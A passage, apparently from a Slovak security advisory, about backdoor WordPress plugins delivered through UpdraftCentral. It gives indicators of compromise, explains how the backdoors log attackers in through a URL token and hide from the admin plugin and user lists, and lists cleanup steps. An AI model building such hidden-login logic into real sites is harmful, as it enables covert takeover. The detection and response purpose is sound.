.35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_uid<\/code> (napr\u00edklad <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">src_lab_uid<\/code>). Re\u017eim <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">m=svc<\/code> prihl\u00e1si \u00fato\u010dn\u00edka do tohto \u00fa\u010dtu. \u00da\u010dty maj\u00fa tvar <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">system_team850<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">web.tech988<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">cmseditor170<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">cms.tech644<\/code> alebo <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">web_mgr684<\/code> s e-mailom na <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">@example.com<\/code> a zobrazovan\u00e9 meno napr\u00edklad \u201eSystem Team\u201c, \u201eWeb Tech\u201c, \u201eSystem Staff\u201c, \u201eSystem Ops\u201c \u010di \u201eCms Tech\u201c.<\/li>\n<li>\u00da\u010det sa pok\u00fa\u0161a skry\u0165 h\u00e1\u010dikom <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">pre_user_query<\/code> a filtrom <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">pre_count_users<\/code>, ale oba s\u00fa nap\u00edsan\u00e9 zle. <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">pre_user_query<\/code> prid\u00e1 \u00fa\u010det medzi vyl\u00fa\u010den\u00fdch a\u017e po tom, \u010do WordPress zostavil SQL dotaz, tak\u017ee na v\u00fdsledok nem\u00e1 vplyv. <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">pre_count_users<\/code> dostane namiesto po\u010dtov hodnotu <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">null<\/code> a ni\u010d nezmen\u00ed. Na WordPresse 7.1.3 sme overili, \u017ee sa \u00fa\u010det v zozname pou\u017e\u00edvate\u013eov aj v po\u010dte administr\u00e1torov zobraz\u00ed norm\u00e1lne.<\/li>\n<li>Nem\u00e1 <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">uninstall.php<\/code>. Pri deaktiv\u00e1cii zma\u017ee len vo\u013ebu <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_installed<\/code>.<\/li>\n<li>Doru\u010denie je rovnak\u00e9 ako pri prvom variante: sonda a potom <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">plugin.upload_plugin<\/code>, z IP <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">43.250.53.42<\/code> aj <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">2a09:bac5:4e21:2e3c::49b:9<\/code>, v noci z 18. na 19. okt\u00f3bra (napr\u00edklad src-lab 18. 10. o 23:39 UTC, render-helper-232b 19. 10. o 0:03 UTC).<\/li>\n<\/ul>\n<p>Vzorky (SHA-256 hlavn\u00e9ho s\u00faboru):<\/p>\n<ul>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">src-lab<\/code>, \u201eSrc Lab\u201c 3.0.0, autor \u201eWPBridge\u201c, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">src-lab.php<\/code> <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">59231b0e5004672b3058b47b4b4ff2b1fa89f1961bedf1741ba285e8adbe4928<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">render-helper-232b<\/code>, \u201eRender Helper 232b\u201c 3.7.9<\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">opt4fix<\/code>, \u201eOpt4fix\u201c 2.9.2, autor \u201eDigitalFork\u201c, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">54ca7b2da87852a5d1fd7bde644027f84557db4d45fbb25cb2d135a3497d8d5c<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">js-fix-757a<\/code>, \u201eJs Fix 757a\u201c 2.8.3, autor \u201eWPBridge\u201c, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">2cdf3f2a3f10f0e12f00f2267907d44796107ab4aececdac520bba13e012b47a<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">lazy-tool-3055<\/code>, \u201eLazy Tool 3055\u201c 1.3.8, autor \u201eMetaLayer\u201c, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">1821a58e2a851acd1a608a77ce2f77817a0b7b6ef344b9889c8f8728e62969ec<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">cache-smith<\/code>, \u201eCache Smith\u201c 1.3.1, autor \u201eToolBelt WP\u201c, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">43dc88fd18501be3dbd6d7f1755e77386d081dd41cef82bc514d39991ae69c49<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">boost-kit<\/code>, \u201eBoost Kit\u201c 2.9.3, autor \u201ePixelForge\u201c, popis \u201eSimple database queries management with automatic cleanup routines.\u201c, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">fd664098cf189698e730b94fe1ea9f4425738f1be4bb9bd19eb38e14dbdf72e1<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">fast2engine<\/code>, \u201eFast2engine\u201c 1.6.9, autor \u201eCodeBarn\u201c, popis \u201eReliable transient storage maintenance companion for site owners.\u201c, \u00fa\u010det <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">wp.tech506@example.com<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">0f194a46d99a8180908a55d1ae9d5bb51e9257e68ba10312ce030b8a5cd2c8dd<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">defer-engine<\/code>, \u201eDefer Engine\u201c 3.3.1, autor \u201eSiteCraft Labs\u201c, popis \u201eFine-tunes script loading delivery to reduce load times on busy sites.\u201c, \u00fa\u010det <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">media-mgr138<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">87cb01de622d0108b60d4f3d6663935a7b53fd17b6b82b53a26e47a5b522dc91<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">minify-tool-bf90<\/code>, \u201eMinify Tool Bf90\u201c 2.9.8, autor \u201eMetaLayer\u201c, popis \u201eImproves asset loading efficiency for content sites with minimal overhead.\u201c, \u00fa\u010det <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">pageeditor85<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">ca5ba1b02d4f1802c8182e7a71a4668959f42b501c523864c48dfdfc03ad54e8<\/code><\/li>\n<\/ul>\n<p>Ako ho n\u00e1js\u0165: kontroln\u00fd skript vo verzii 3 h\u013ead\u00e1 s\u00fabory pluginov pod\u013ea zn\u00e1mych re\u0165azcov, napr\u00edklad \u201ekeep service accounts out of the main user list\u201c, aj pod\u013ea k\u00f3du (prihl\u00e1senie cez <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">wp_set_auth_cookie<\/code> po <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">hash_equals<\/code> nad hodnotou z URL, skr\u00fdvanie cez <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">pre_user_query<\/code> a <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">pre_count_users<\/code>), prever\u00ed vo\u013eby <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_uid<\/code> a <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_installed<\/code> a pou\u017e\u00edvate\u013eov \u010d\u00edta priamo z datab\u00e1zy. Preh\u013ead\u00e1 aj <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">wp-content\/upgrade\/<\/code>, kde zostane rozbalen\u00fd plugin, aj ke\u010f sa in\u0161tal\u00e1cia nepodarila. Access log skontrolujte pod\u013ea postupu v \u010dasti \u201e\u010co urobi\u0165 hne\u010f\u201c.<\/p>\n<h2 id=\"tret\u00ed-variant-minim\u00e1lny-backdoor\">Tret\u00ed variant: minim\u00e1lny backdoor<\/h2>\n<p>Ten ist\u00fd spr\u00e1vca na\u0161iel aj plugin <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">site-health-364f<\/code> (\u201eSite Health 364F\u201c, verzia 1.0, popis \u201eMaintenance helper.\u201c, bez autora). Je to jedin\u00fd s\u00fabor s 673 bajtmi bez ak\u00e9hoko\u013evek maskovania:<\/p>\n<ul>\n<li>Pri aktiv\u00e1cii ulo\u017e\u00ed vo\u013ebu <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">site_health_364f_ver<\/code>.<\/li>\n<li>Sp\u00fa\u0161\u0165a\u010d: parameter <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">83e590bb7e9b<\/code> s 32-znakov\u00fdm tokenom zap\u00edsan\u00fdm priamo v k\u00f3de.<\/li>\n<li>\u00dato\u010dn\u00edka prihl\u00e1si ako prv\u00e9ho existuj\u00faceho administr\u00e1tora a presmeruje ho do administr\u00e1cie. \u017diadny \u00fa\u010det nevytv\u00e1ra.<\/li>\n<li>SHA-256 <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">site-health-364f.php<\/code>: <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">056db22ebb8b1c0036a992ecf9c37c7f868b1eab68812445eed29062fc2307fa<\/code><\/li>\n<\/ul>\n<p>Okrem pluginu po \u0148om zostane len riadok v access logu, ktor\u00fd n\u00e1jde grep z \u010dasti \u201e\u010co urobi\u0165 hne\u010f\u201c. Kontroln\u00fd skript ho zachyt\u00ed od verzie 4.<\/p>\n<p>\u010eal\u0161\u00ed spr\u00e1vca na\u0161iel jeho skryt\u00fa obmenu <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">site-health-cache<\/code> (\u201eSite Health Cache\u201c 1.0.0, bez popisu a autora, sp\u00fa\u0161\u0165a\u010d <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">38af88274bf8<\/code>, vo\u013eba <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">sh_cache_ver<\/code>, SHA-256 <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">fd37eda3283416c568d53dd437f190341221138d8efabc7437e983b09946f9dd<\/code>). Filtrom <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">all_plugins<\/code> sa vyrad\u00ed zo zoznamu pluginov a filtrom <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">pre_update_option_recently_activated<\/code> aj zo zoznamu ned\u00e1vno aktivovan\u00fdch, tak\u017ee v administr\u00e1cii ho neuvid\u00edte, hoci je akt\u00edvny. Kontroln\u00fd skript ho n\u00e1jde na disku. Rovnak\u00fa obmenu s in\u00fdm sp\u00fa\u0161\u0165a\u010dom (<code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">9c37ef099b7b<\/code>, SHA-256 <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">2fc98e80960d196fa5b70ffa8c76ee5332c9d6c60465fe2e38ab2c597c357205<\/code>) na\u0161iel aj \u010fal\u0161\u00ed spr\u00e1vca.<\/p>\n<h2 id=\"\u010do-robi\u0165-ak-ho-n\u00e1jdete\">\u010co robi\u0165, ak ho n\u00e1jdete<\/h2>\n<ol type=\"1\">\n<li>Ak ste to e\u0161te neurobili, zru\u0161te spojenie s UpdraftCentral pod\u013ea postupu v \u010dasti \u201e\u010co urobi\u0165 hne\u010f\u201c. Inak m\u00f4\u017ee \u00fato\u010dn\u00edk posla\u0165 opraven\u00fa verziu backdooru.<\/li>\n<li>Plugin deaktivujte a presu\u0148te mimo webov\u00e9ho prie\u010dinka. Ak ho chcete ponecha\u0165 ako d\u00f4kaz, nema\u017ete ho cez administr\u00e1ciu, lebo <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">uninstall.php<\/code> zma\u017ee jeho vo\u013eby.<\/li>\n<li>Zma\u017ete vo\u013eby backdooru (<code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_sync_token<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_uid<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_installed<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_ver<\/code>) a \u00fa\u010det, ktor\u00fd vytvoril.<\/li>\n<li>Skontrolujte pou\u017e\u00edvate\u013eov kontroln\u00fdm skriptom ni\u017e\u0161ie. Ak backdoor fungoval, teda jeho \u00fa\u010det existuje alebo sa v access logu objavila po\u017eiadavka s jeho parametrom, pova\u017eujte web za plne kompromitovan\u00fd. \u00dato\u010dn\u00edk mohol nahra\u0165 \u010fal\u0161ie pluginy alebo webshell a zmeni\u0165 s\u00fabory \u010di datab\u00e1zu. Web obnovte zo z\u00e1lohy spred 17. okt\u00f3bra, porovnajte s\u00fabory s \u010distou in\u0161tal\u00e1ciou a prejdite v\u0161etk\u00fdch pou\u017e\u00edvate\u013eov s opr\u00e1vneniami navy\u0161e.<\/li>\n<li>Zme\u0148te hesl\u00e1 administr\u00e1torov a k \u00fa\u010dtu UpdraftCentral Cloud, ukon\u010dite v\u0161etky prihl\u00e1sen\u00e9 rel\u00e1cie a zapnite dvojfaktorov\u00e9 overenie. Pr\u00e9miov\u00fd UpdraftPlus m\u00f4\u017ee ma\u0165 heslo k \u00fa\u010dtu teamupdraft.com ulo\u017een\u00e9 v datab\u00e1ze tak, ako ste ho zadali (vo\u013eba <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">updraftplus-addons_options<\/code>). Ak sa \u00fato\u010dn\u00edk dostal do administr\u00e1cie alebo datab\u00e1zy, pova\u017eujte toto heslo za uniknut\u00e9.<\/li>\n<li>Zv\u00e1\u017ete, \u010di vzdialen\u00fa spr\u00e1vu potrebujete. Ak \u00e1no, k\u013e\u00fa\u010d vytvorte pod \u00fa\u010dtom, ktor\u00fd nem\u00e1 pr\u00e1va in\u0161talova\u0165 pluginy, ak ich na dia\u013eku nepotrebujete. Na webe C \u00fatok zastavila pr\u00e1ve t\u00e1to n\u00e1hoda.<\/li>\n<\/ol>\n<h2 id=\"kontroln\u00fd-skript\">Kontroln\u00fd skript<\/h2>\n<p>Skript skontroluje p\u00e4\u0165 vec\u00ed: \u010di je web pripojen\u00fd k UpdraftCentral, \u010do web cez UpdraftCentral prijal, \u010di s\u00fa v prie\u010dinkoch <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">plugins<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">mu-plugins<\/code> a <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">upgrade<\/code> s\u00fabory backdooru, \u010di s\u00fa v datab\u00e1ze jeho vo\u013eby a \u010di existuje jeho \u00fa\u010det alebo in\u00fd pou\u017e\u00edvate\u013e s ne\u010dakan\u00fdmi pr\u00e1vami. Verzia 3 rozpozn\u00e1 backdoor aj pod\u013ea k\u00f3du, tak\u017ee zachyt\u00ed aj premenovan\u00e9 vzorky funk\u010dn\u00e9ho variantu s in\u00fdm popisom, prever\u00ed vo\u013eby <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_uid<\/code> a <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_installed<\/code>, pou\u017e\u00edvate\u013eov \u010d\u00edta priamo z datab\u00e1zy a upozorn\u00ed na administr\u00e1torov vytvoren\u00fdch od 17. 10. Verzia 4 navy\u0161e zachyt\u00ed minim\u00e1lny tret\u00ed variant pod\u013ea tokenu zap\u00edsan\u00e9ho priamo v k\u00f3de. Verzia 5 hl\u00e1si ako <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">[WARN]<\/code> aj \u010fal\u0161ie pluginy, ktor\u00e9 prihlasuj\u00fa pod\u013ea parametra v URL. Upozornil n\u00e1s na to spr\u00e1vca, ktor\u00fd na jednom webe na\u0161iel star\u0161\u00ed, s touto kampa\u0148ou nes\u00favisiaci backdoor <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">doctor-connectivity-query<\/code> akt\u00edvny od j\u00fana. Ten sa skr\u00fdva zo zoznamu pluginov a bez prihl\u00e1senia vykon\u00e1 \u013eubovo\u013en\u00fd k\u00f3d. \u00da\u010dty na <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">@example.com<\/code> bez administr\u00e1torsk\u00fdch pr\u00e1v vytvoren\u00e9 pred 17. 10., napr\u00edklad z\u00e1kazn\u00edkov e-shopu registrovan\u00fdch botmi, hl\u00e1si verzia 5 u\u017e len ako <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">[WARN]<\/code>. Verzia 6 n\u00e1jde aj zvy\u0161n\u00e9 vo\u013eby prv\u00e9ho variantu, ke\u010f n\u00e1zov pluginu nekon\u010d\u00ed troma hex znakmi, napr\u00edklad <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">query_shelf_sync_token<\/code>. Verzia 7 upozorn\u00ed, ke\u010f na webe log UpdraftCentral v\u00f4bec nie je, napr\u00edklad po odstr\u00e1nen\u00ed UpdraftPlus, a nehl\u00e1si ho ako \u010dist\u00fd. Verzia 8 upozorn\u00ed aj na pluginy, ktor\u00e9 sa skr\u00fdvaj\u00fa zo zoznamu pluginov. Verzia 9 upozorn\u00ed aj na k\u013e\u00fa\u010de UpdraftPlus Migrator. Verzia 10 upozorn\u00ed aj na heslo k \u00fa\u010dtu teamupdraft.com ulo\u017een\u00e9 v datab\u00e1ze.<\/p>\n<p>Na webe A po odstr\u00e1nen\u00ed backdooru vyp\u00ed\u0161e:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid 